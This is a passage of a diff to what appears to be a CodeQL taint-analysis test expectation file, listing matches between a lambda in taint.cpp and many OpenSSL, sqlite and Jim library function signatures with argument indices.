1 | +| taint.cpp:249:13:249:13 | _FUN | (uint16_t,int) | | tls1_group_id2nid | 1 | +| taint.cpp:249:13:249:13 | _FUN | (unsigned char *,int) | | RAND_bytes | 1 | +| taint.cpp:249:13:249:13 | _FUN | (unsigned char *,int) | | RAND_priv_bytes | 1 | +| taint.cpp:249:13:249:13 | _FUN | (unsigned char *,int) | | ossl_ipaddr_to_asc | 1 | +| taint.cpp:249:13:249:13 | _FUN | (unsigned short,int) | | dtls1_get_queue_priority | 1 | +| taint.cpp:249:13:249:13 | _FUN | (void *,int) | | DSO_dsobyaddr | 1 | +| taint.cpp:249:13:249:13 | _FUN | (void *,int) | | sqlite3_realloc | 1 | | taint.cpp:249:13:249:13 | _FUN | (wchar_t,int) | CStringT | CStringT | 1 | +| taint.cpp:249:13:249:13 | operator() | (ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | +| taint.cpp:249:13:249:13 | operator() | (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 1 | +| taint.cpp:249:13:249:13 | operator() | (BIGNUM *,int) | | BN_clear_bit | 1 | +| taint.cpp:249:13:249:13 | operator() | (BIGNUM *,int) | | BN_mask_bits | 1 | +| taint.cpp:249:13:249:13 | operator() | (BIGNUM *,int) | | BN_set_bit | 1 | +| taint.cpp:249:13:249:13 | operator() | (BIGNUM *,int) | | BN_set_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (BIGNUM *,int) | | bn_expand2 | 1 | +| taint.cpp:249:13:249:13 | operator() | (BIGNUM *,int) | | bn_wexpand | 1 | +| taint.cpp:249:13:249:13 | operator() | (BIGNUM *,int) | | ossl_bn_mask_bits_fixed_top | 1 | +| taint.cpp:249:13:249:13 | operator() | (BIO *,int) | | BIO_clear_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (BIO *,int) | | BIO_find_type | 1 | +| taint.cpp:249:13:249:13 | operator() | (BIO *,int) | | BIO_set_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (BIO *,int) | | BIO_set_init | 1 | +| taint.cpp:249:13:249:13 | operator() | (BIO *,int) | | BIO_set_retry_reason | 1 | +| taint.cpp:249:13:249:13 | operator() | (BIO *,int) | | BIO_set_shutdown | 1 | +| taint.cpp:249:13:249:13 | operator() | (BIO *,int) | | TXT_DB_read | 1 | +| taint.cpp:249:13:249:13 | operator() | (CMS_SignerInfo *,int) | | CMS_signed_delete_attr | 1 | +| taint.cpp:249:13:249:13 | operator() | (CMS_SignerInfo *,int) | | CMS_unsigned_delete_attr | 1 | +| taint.cpp:249:13:249:13 | operator() | (DH *,int) | | DH_clear_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (DH *,int) | | DH_set_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (DH_METHOD *,int) | | DH_meth_set_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (DSA *,int) | | DSA_clear_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (DSA *,int) | | DSA_set_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (DSA_METHOD *,int) | | DSA_meth_set_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (EC_GROUP *,int) | | EC_GROUP_set_asn1_flag | 1 | +| taint.cpp:249:13:249:13 | operator() | (EC_GROUP *,int) | | EC_GROUP_set_curve_name | 1 | +| taint.cpp:249:13:249:13 | operator() | (EC_KEY *,int) | | EC_KEY_clear_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (EC_KEY *,int) | | EC_KEY_set_asn1_flag | 1 | +| taint.cpp:249:13:249:13 | operator() | (EC_KEY *,int) | | EC_KEY_set_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (ENGINE *,int) | | ENGINE_cmd_is_executable | 1 | +| taint.cpp:249:13:249:13 | operator() | (ENGINE *,int) | | ENGINE_set_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_impl_ctx_size | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_iv_length | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_clear_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_key_length | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_num | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_KEYMGMT *,int) | | evp_keymgmt_util_query_operation_name | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_MD *,int) | | EVP_MD_meth_set_app_datasize | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_MD *,int) | | EVP_MD_meth_set_input_blocksize | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_MD *,int) | | EVP_MD_meth_set_result_size | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_MD_CTX *,int) | | EVP_MD_CTX_clear_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_MD_CTX *,int) | | EVP_MD_CTX_set_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_PKEY *,int) | | EVP_PKEY_delete_attr | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_PKEY *,int) | | EVP_PKEY_save_parameters | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_PKEY *,int) | | EVP_PKEY_set_type | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_get_keygen_info | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_kdf_type | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_nid | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_paramgen_type | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_rfc5114 | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dhx_rfc5114 | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_param_enc | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_paramgen_curve_nid | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ecdh_kdf_type | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_hkdf_mode | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_padding | 1 | +| taint.cpp:249:13:249:13 | operator() | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_pss_saltlen | 1 | +| taint.cpp:249:13:249:13 | operator() | (FFC_PARAMS *,int) | | ossl_ffc_params_set_gindex | 1 | +| taint.cpp:249:13:249:13 | operator() | (FFC_PARAMS *,int) | | ossl_ffc_params_set_h | 1 | +| taint.cpp:249:13:249:13 | operator() | (FFC_PARAMS *,int) | | ossl_ffc_params_set_pcounter | 1 | | taint.cpp:249:13:249:13 | operator() | (LPCOLESTR,int) | CComBSTR | Append | 1 | +| taint.cpp:249:13:249:13 | operator() | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_delete_ext | 1 | +| taint.cpp:249:13:249:13 | operator() | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_get_ext | 1 | +| taint.cpp:249:13:249:13 | operator() | (OCSP_BASICRESP *,int) | | OCSP_resp_get0 | 1 | +| taint.cpp:249:13:249:13 | operator() | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_delete_ext | 1 | +| taint.cpp:249:13:249:13 | operator() | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_get_ext | 1 | +| taint.cpp:249:13:249:13 | operator() | (OCSP_REQUEST *,int) | | OCSP_REQUEST_delete_ext | 1 | +| taint.cpp:249:13:249:13 | operator() | (OCSP_REQUEST *,int) | | OCSP_REQUEST_get_ext | 1 | +| taint.cpp:249:13:249:13 | operator() | (OCSP_REQUEST *,int) | | OCSP_request_onereq_get0 | 1 | +| taint.cpp:249:13:249:13 | operator() | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_delete_ext | 1 | +| taint.cpp:249:13:249:13 | operator() | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_get_ext | 1 | +| taint.cpp:249:13:249:13 | operator() | (OPENSSL_STACK *,int) | | OPENSSL_sk_delete | 1 | +| taint.cpp:249:13:249:13 | operator() | (OPENSSL_STACK *,int) | | OPENSSL_sk_reserve | 1 | +| taint.cpp:249:13:249:13 | operator() | (OPENSSL_sk_compfunc,int) | | OPENSSL_sk_new_reserve | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_deadline | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_frame | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_ACKM *,int) | | ossl_ackm_get_largest_acked | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_ACKM *,int) | | ossl_ackm_on_pkt_space_discarded | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_set_serverPort | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_failInfoCode | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_status | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_CMP_CTX *,int) | | ossl_cmp_msg_create | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_CMP_CTX *,int) | | ossl_cmp_pollReq_new | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_CMP_MSG *,int) | | ossl_cmp_msg_set_bodytype | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_CMP_PKIHEADER *,int) | | ossl_cmp_hdr_set_pvno | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_CertId | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_pkisi | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_raverified | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_unprotected | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_grant_implicit_confirm | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_send_unprotected_errors | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_CRMF_PKIPUBLICATIONINFO *,int) | | OSSL_CRMF_MSG_set_PKIPublicationInfo_action | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_DECODER_CTX *,int) | | OSSL_DECODER_CTX_set_selection | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_ENCODER_CTX *,int) | | OSSL_ENCODER_CTX_set_selection | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_get_data | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_set_conf_diagnostics | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_LIB_CTX *,int) | | ossl_ctx_global_properties | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_LIB_CTX *,int) | | ossl_dh_new_by_nid_ex | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_LIB_CTX *,int) | | ossl_lib_ctx_get_data | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_LIB_CTX *,int) | | ossl_mac_key_new | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_PARAM *,int) | | OSSL_PARAM_set_int | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_QRX *,int) | | ossl_qrx_get_bytes_received | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_RECORD_LAYER *,int) | | tls_set_first_handshake | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_RECORD_LAYER *,int) | | tls_set_plain_alerts | 1 | +| taint.cpp:249:13:249:13 | operator() | (OSSL_STORE_CTX *,int) | | OSSL_STORE_expect | 1 | +| taint.cpp:249:13:249:13 | operator() | (PKCS7 *,int) | | PKCS7_set_type | 1 | +| taint.cpp:249:13:249:13 | operator() | (QUIC_CHANNEL *,int) | | ossl_quic_channel_new_stream_local | 1 | +| taint.cpp:249:13:249:13 | operator() | (QUIC_ENGINE *,int) | | ossl_quic_engine_set_inhibit_tick | 1 | +| taint.cpp:249:13:249:13 | operator() | (QUIC_PORT *,int) | | ossl_quic_port_set_allow_incoming | 1 | +| taint.cpp:249:13:249:13 | operator() | (QUIC_RCIDM *,int) | | ossl_quic_rcidm_get_preferred_tx_dcid_changed | 1 | +| taint.cpp:249:13:249:13 | operator() | (QUIC_RSTREAM *,int) | | ossl_quic_rstream_set_cleanse | 1 | +| taint.cpp:249:13:249:13 | operator() | (QUIC_RXFC *,int) | | ossl_quic_rxfc_get_error | 1 | +| taint.cpp:249:13:249:13 | operator() | (QUIC_RXFC *,int) | | ossl_quic_rxfc_has_cwm_changed | 1 | +| taint.cpp:249:13:249:13 | operator() | (QUIC_SSTREAM *,int) | | ossl_quic_sstream_set_cleanse | 1 | +| taint.cpp:249:13:249:13 | operator() | (QUIC_STREAM_MAP *,int) | | ossl_quic_stream_map_get_accept_queue_len | 1 | +| taint.cpp:249:13:249:13 | operator() | (QUIC_TXFC *,int) | | ossl_quic_txfc_has_become_blocked | 1 | +| taint.cpp:249:13:249:13 | operator() | (RSA *,int) | | RSA_clear_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (RSA *,int) | | RSA_set_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (RSA_METHOD *,int) | | RSA_meth_set_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_hashalg | 1 | +| taint.cpp:249:13:249:13 | operator() | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_maskgenhashalg | 1 | +| taint.cpp:249:13:249:13 | operator() | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_saltlen | 1 | +| taint.cpp:249:13:249:13 | operator() | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_trailerfield | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL *,int) | | SSL_key_update | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL *,int) | | SSL_set_post_handshake_auth | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL *,int) | | SSL_set_purpose | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL *,int) | | SSL_set_quic_tls_early_data_enabled | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL *,int) | | SSL_set_quiet_shutdown | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL *,int) | | SSL_set_read_ahead | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL *,int) | | SSL_set_security_level | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL *,int) | | SSL_set_shutdown | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL *,int) | | SSL_set_trust | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL *,int) | | SSL_set_verify_depth | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL_CONNECTION *,int) | | dtls1_read_failed | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL_CONNECTION *,int) | | ossl_statem_send_fatal | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL_CONNECTION *,int) | | ossl_statem_set_in_init | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL_CONNECTION *,int) | | tls1_shared_group | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL_CTX *,int) | | SSL_CTX_set_post_handshake_auth | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL_CTX *,int) | | SSL_CTX_set_purpose | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL_CTX *,int) | | SSL_CTX_set_quiet_shutdown | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL_CTX *,int) | | SSL_CTX_set_security_level | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL_CTX *,int) | | SSL_CTX_set_srp_strength | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL_CTX *,int) | | SSL_CTX_set_trust | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL_CTX *,int) | | SSL_CTX_set_verify_depth | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL_CTX *,int) | | ssl_md | 1 | +| taint.cpp:249:13:249:13 | operator() | (SSL_SESSION *,int) | | SSL_SESSION_set_protocol_version | 1 | +| taint.cpp:249:13:249:13 | operator() | (TS_REQ *,int) | | TS_REQ_delete_ext | 1 | +| taint.cpp:249:13:249:13 | operator() | (TS_REQ *,int) | | TS_REQ_get_ext | 1 | +| taint.cpp:249:13:249:13 | operator() | (TS_RESP_CTX *,int) | | TS_RESP_CTX_add_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (TS_STATUS_INFO *,int) | | TS_STATUS_INFO_set_status | 1 | +| taint.cpp:249:13:249:13 | operator() | (TS_TST_INFO *,int) | | TS_TST_INFO_delete_ext | 1 | +| taint.cpp:249:13:249:13 | operator() | (TS_TST_INFO *,int) | | TS_TST_INFO_get_ext | 1 | +| taint.cpp:249:13:249:13 | operator() | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_add_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_set_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (WPACKET *,int) | | ossl_DER_w_begin_sequence | 1 | +| taint.cpp:249:13:249:13 | operator() | (X509 *,int) | | X509_delete_ext | 1 | +| taint.cpp:249:13:249:13 | operator() | (X509 *,int) | | X509_self_signed | 1 | +| taint.cpp:249:13:249:13 | operator() | (X509_ACERT *,int) | | X509_ACERT_delete_attr | 1 | +| taint.cpp:249:13:249:13 | operator() | (X509_ATTRIBUTE *,int) | | X509_ATTRIBUTE_get0_type | 1 | +| taint.cpp:249:13:249:13 | operator() | (X509_CRL *,int) | | X509_CRL_delete_ext | 1 | +| taint.cpp:249:13:249:13 | operator() | (X509_NAME *,int) | | X509_NAME_delete_entry | 1 | +| taint.cpp:249:13:249:13 | operator() | (X509_REQ *,int) | | X509_REQ_delete_attr | 1 | +| taint.cpp:249:13:249:13 | operator() | (X509_REVOKED *,int) | | X509_REVOKED_delete_ext | 1 | +| taint.cpp:249:13:249:13 | operator() | (X509_STORE *,int) | | X509_STORE_set_depth | 1 | +| taint.cpp:249:13:249:13 | operator() | (X509_STORE *,int) | | X509_STORE_set_purpose | 1 | +| taint.cpp:249:13:249:13 | operator() | (X509_STORE *,int) | | X509_STORE_set_trust | 1 | +| taint.cpp:249:13:249:13 | operator() | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_depth | 1 | +| taint.cpp:249:13:249:13 | operator() | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error | 1 | +| taint.cpp:249:13:249:13 | operator() | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error_depth | 1 | +| taint.cpp:249:13:249:13 | operator() | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_purpose | 1 | +| taint.cpp:249:13:249:13 | operator() | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_trust | 1 | +| taint.cpp:249:13:249:13 | operator() | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_get0_host | 1 | +| taint.cpp:249:13:249:13 | operator() | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_auth_level | 1 | +| taint.cpp:249:13:249:13 | operator() | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_depth | 1 | +| taint.cpp:249:13:249:13 | operator() | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_purpose | 1 | +| taint.cpp:249:13:249:13 | operator() | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_trust | 1 | +| taint.cpp:249:13:249:13 | operator() | (acttab *,int) | | acttab_insert | 1 | +| taint.cpp:249:13:249:13 | operator() | (char *,int) | | PEM_proc_type | 1 | | taint.cpp:249:13:249:13 | operator() | (char,int) | CStringT | CStringT | 1 | +| taint.cpp:249:13:249:13 | operator() | (const ASN1_BIT_STRING *,int) | | ASN1_BIT_STRING_get_bit | 1 | +| taint.cpp:249:13:249:13 | operator() | (const BIGNUM *,int) | | BN_get_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (const BIGNUM *,int) | | BN_is_bit_set | 1 | +| taint.cpp:249:13:249:13 | operator() | (const BIO *,int) | | BIO_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | operator() | (const BIO *,int) | | BIO_test_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (const CMS_SignerInfo *,int) | | CMS_signed_get_attr | 1 | +| taint.cpp:249:13:249:13 | operator() | (const CMS_SignerInfo *,int) | | CMS_unsigned_get_attr | 1 | +| taint.cpp:249:13:249:13 | operator() | (const CRYPTO_EX_DATA *,int) | | CRYPTO_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | operator() | (const DH *,int) | | DH_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | operator() | (const DH *,int) | | DH_test_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (const DH *,int) | | ossl_dh_dup | 1 | +| taint.cpp:249:13:249:13 | operator() | (const DSA *,int) | | DSA_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | operator() | (const DSA *,int) | | DSA_test_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (const DSA *,int) | | ossl_dsa_dup | 1 | +| taint.cpp:249:13:249:13 | operator() | (const ECX_KEY *,int) | | ossl_ecx_key_dup | 1 | +| taint.cpp:249:13:249:13 | operator() | (const EC_KEY *,int) | | EC_KEY_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | operator() | (const EC_KEY *,int) | | ossl_ec_key_dup | 1 | +| taint.cpp:249:13:249:13 | operator() | (const ENGINE *,int) | | ENGINE_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | operator() | (const EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_test_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (const EVP_MD_CTX *,int) | | EVP_MD_CTX_test_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (const EVP_PKEY *,int) | | EVP_PKEY_get_attr | 1 | +| taint.cpp:249:13:249:13 | operator() | (const EVP_PKEY *,int) | | EVP_PKEY_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | operator() | (const ML_DSA_KEY *,int) | | ossl_ml_dsa_key_dup | 1 | +| taint.cpp:249:13:249:13 | operator() | (const ML_KEM_KEY *,int) | | ossl_ml_kem_key_dup | 1 | +| taint.cpp:249:13:249:13 | operator() | (const OPENSSL_STACK *,int) | | OPENSSL_sk_value | 1 | +| taint.cpp:249:13:249:13 | operator() | (const OSSL_CMP_CERTREPMESSAGE *,int) | | ossl_cmp_certrepmessage_get0_certresponse | 1 | +| taint.cpp:249:13:249:13 | operator() | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get0_newPkey | 1 | +| taint.cpp:249:13:249:13 | operator() | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get_option | 1 | +| taint.cpp:249:13:249:13 | operator() | (const OSSL_CMP_PKISI *,int) | | ossl_cmp_pkisi_check_pkifailureinfo | 1 | +| taint.cpp:249:13:249:13 | operator() | (const OSSL_CMP_POLLREPCONTENT *,int) | | ossl_cmp_pollrepcontent_get0_pollrep | 1 | +| taint.cpp:249:13:249:13 | operator() | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_local_stream_count_avail | 1 | +| taint.cpp:249:13:249:13 | operator() | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_remote_stream_count_avail | 1 | +| taint.cpp:249:13:249:13 | operator() | (const RSA *,int) | | RSA_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | operator() | (const RSA *,int) | | RSA_test_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (const RSA *,int) | | ossl_rsa_dup | 1 | +| taint.cpp:249:13:249:13 | operator() | (const SLH_DSA_KEY *,int) | | ossl_slh_dsa_key_dup | 1 | +| taint.cpp:249:13:249:13 | operator() | (const SSL *,int) | | SSL_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | operator() | (const SSL_CTX *,int) | | SSL_CTX_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | operator() | (const SSL_SESSION *,int) | | SSL_SESSION_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | operator() | (const SSL_SESSION *,int) | | ssl_session_dup | 1 | +| taint.cpp:249:13:249:13 | operator() | (const UI *,int) | | UI_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | operator() | (const UI_METHOD *,int) | | UI_method_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | operator() | (const X509 *,int) | | X509_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | operator() | (const X509 *,int) | | X509_get_ext | 1 | +| taint.cpp:249:13:249:13 | operator() | (const X509_ACERT *,int) | | X509_ACERT_get_attr | 1 | +| taint.cpp:249:13:249:13 | operator() | (const X509_CRL *,int) | | X509_CRL_get_ext | 1 | +| taint.cpp:249:13:249:13 | operator() | (const X509_NAME *,int) | | X509_NAME_get_entry | 1 | +| taint.cpp:249:13:249:13 | operator() | (const X509_POLICY_LEVEL *,int) | | X509_policy_level_get0_node | 1 | +| taint.cpp:249:13:249:13 | operator() | (const X509_POLICY_TREE *,int) | | X509_policy_tree_get0_level | 1 | +| taint.cpp:249:13:249:13 | operator() | (const X509_REQ *,int) | | X509_REQ_get_attr | 1 | +| taint.cpp:249:13:249:13 | operator() | (const X509_REVOKED *,int) | | X509_REVOKED_get_ext | 1 | +| taint.cpp:249:13:249:13 | operator() | (const X509_STORE *,int) | | X509_STORE_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | operator() | (const X509_STORE_CTX *,int) | | X509_STORE_CTX_get_ex_data | 1 | | taint.cpp:249:13:249:13 | operator() | (const XCHAR *,int) | CStringT | CStringT | 1 | | taint.cpp:249:13:249:13 | operator() | (const YCHAR *,int) | CStringT | CStringT | 1 | +| taint.cpp:249:13:249:13 | operator() | (const char *,int) | | DH_meth_new | 1 | +| taint.cpp:249:13:249:13 | operator() | (const char *,int) | | DSA_meth_new | 1 | +| taint.cpp:249:13:249:13 | operator() | (const char *,int) | | Jim_StrDupLen | 1 | +| taint.cpp:249:13:249:13 | operator() | (const char *,int) | | NETSCAPE_SPKI_b64_decode | 1 | +| taint.cpp:249:13:249:13 | operator() | (const char *,int) | | RSA_meth_new | 1 | +| taint.cpp:249:13:249:13 | operator() | (const char *,int) | | parse_yesno | 1 | +| taint.cpp:249:13:249:13 | operator() | (const stack_st_X509_ATTRIBUTE *,int) | | X509at_get_attr | 1 | +| taint.cpp:249:13:249:13 | operator() | (const stack_st_X509_EXTENSION *,int) | | X509v3_get_ext | 1 | +| taint.cpp:249:13:249:13 | operator() | (const unsigned char *,int) | | Jim_GenHashFunction | 1 | +| taint.cpp:249:13:249:13 | operator() | (const unsigned char *,int) | | OPENSSL_uni2asc | 1 | +| taint.cpp:249:13:249:13 | operator() | (const unsigned char *,int) | | OPENSSL_uni2utf8 | 1 | +| taint.cpp:249:13:249:13 | operator() | (int *,int) | | X509_PURPOSE_set | 1 | +| taint.cpp:249:13:249:13 | operator() | (int *,int) | | X509_TRUST_set | 1 | +| taint.cpp:249:13:249:13 | operator() | (int,int) | | BN_security_bits | 0 | +| taint.cpp:249:13:249:13 | operator() | (int,int) | | BN_security_bits | 1 | +| taint.cpp:249:13:249:13 | operator() | (int,int) | | EVP_MD_meth_new | 0 | +| taint.cpp:249:13:249:13 | operator() | (int,int) | | EVP_MD_meth_new | 1 | +| taint.cpp:249:13:249:13 | operator() | (int,int) | | EVP_PKEY_meth_new | 0 | +| taint.cpp:249:13:249:13 | operator() | (int,int) | | EVP_PKEY_meth_new | 1 | +| taint.cpp:249:13:249:13 | operator() | (int,int) | | acttab_alloc | 0 | +| taint.cpp:249:13:249:13 | operator() | (int,int) | | acttab_alloc | 1 | +| taint.cpp:249:13:249:13 | operator() | (rule *,int) | | Configlist_add | 1 | +| taint.cpp:249:13:249:13 | operator() | (rule *,int) | | Configlist_addbasis | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3 *,int) | | sqlite3_busy_timeout | 1 | +| taint.cpp:249:13:249:13 | 